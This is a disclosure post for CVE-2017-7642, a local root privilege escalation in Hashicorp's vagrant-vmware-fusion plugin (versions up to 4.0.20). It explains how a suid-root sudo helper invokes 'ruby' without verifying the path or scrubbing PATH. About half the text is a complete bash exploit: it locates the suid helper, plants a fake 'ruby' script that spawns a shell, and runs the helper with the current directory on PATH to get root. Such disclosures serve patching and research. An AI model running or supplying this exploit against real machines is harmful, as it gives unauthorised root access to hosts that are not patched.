Hashicorp vagrant-vmware-fusion 4.0.20 Privilege Escalation

`CVE-2017-7642 Local root privesc in Hashicorp vagrant-vmware-fusion <= 4.0.20  
  
15 Jul 2017 06:57  
  
I'm a big fan of Hashicorp but this is an awful bug to have in software of their  
calibre.  
  
Their vagrant plugin for vmware fusion uses a product called Ruby Encoder to  
protect their proprietary ruby code. It does this by turning the ruby code into  
bytecode and executing it directly.  
  
Unfortunately the execution chain necessary for this to work is not safe. After  
installing the plugin, the first time you "vagrant up" any vagrant file using  
vmware fusion it will create some files in  
~/.vagrant.d/gems/2.2.5/gems/vagrant-vmware-fusion-4.0.18/bin:  
  
vagrant_vmware_desktop_sudo_helper  
vagrant_vmware_desktop_sudo_helper_wrapper_darwin_386  
vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64  
vagrant_vmware_desktop_sudo_helper_wrapper_linux_386  
vagrant_vmware_desktop_sudo_helper_wrapper_linux_amd64  
  
The first one is an encoded ruby script, the others are "sudo helper" binaries  
for the different platforms supported by the plugin. Of these sudo helpers,  
the one that corresponds to your platform will be made suid root when vagrant up  
is run.  
  
Unfortunately the helper calls the ruby script with system("ruby <script path>")  
- i.e. it doesn't verify the path to the ruby script and it doesn't scrub the  
PATH variable either. We can easily exploit this to get root.  
  
Hashicorp were quick to respond and kindly paid me a small bounty for my trouble.  
  
The issue was acknowledged by Hashicorp on 08/04/17 and fixed on 14/07/17.  
  
The exploit below is for darwin 64bit but it's likely other architectures are  
also vulnerable.  
  
https://m4.rkw.io/vagrant_vmware_privesc.sh.txt  
2a58c6fd18e0a36c2fa58ab32298a0e3b89f28843bd8cd4e3a9ff8623028dca3  
--------------------------------------------------------------------------  
  
#!/bin/bash  
  
vuln_bin=`find ~/.vagrant.d/ -name vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64 -perm +4000 |tail -n1`  
  
if [ "$vuln_bin" == "" ] ; then  
echo "Vulnerable binary not found."  
exit 1  
fi  
  
dir=`dirname "$vuln_bin"`  
  
cd "$dir"  
  
cat > ruby <<EOF  
#!/bin/bash  
echo  
echo "************************************************************************"  
echo "* Depressingly trivial local root privesc in the vagrant vmware_fusion *"  
echo "* plugin, by m4rkw *"  
echo "************************************************************************"  
echo  
echo "Shout out to #coolkids o/"  
echo  
bash  
exit 0  
EOF  
  
chmod 755 ruby  
  
VAGRANT_INSTALLER_EMBEDDED_DIR="~/.vagrant.d/" PATH=".:$PATH" ./vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64  
  
--------------------------------------------------------------------------  
  
  
  
`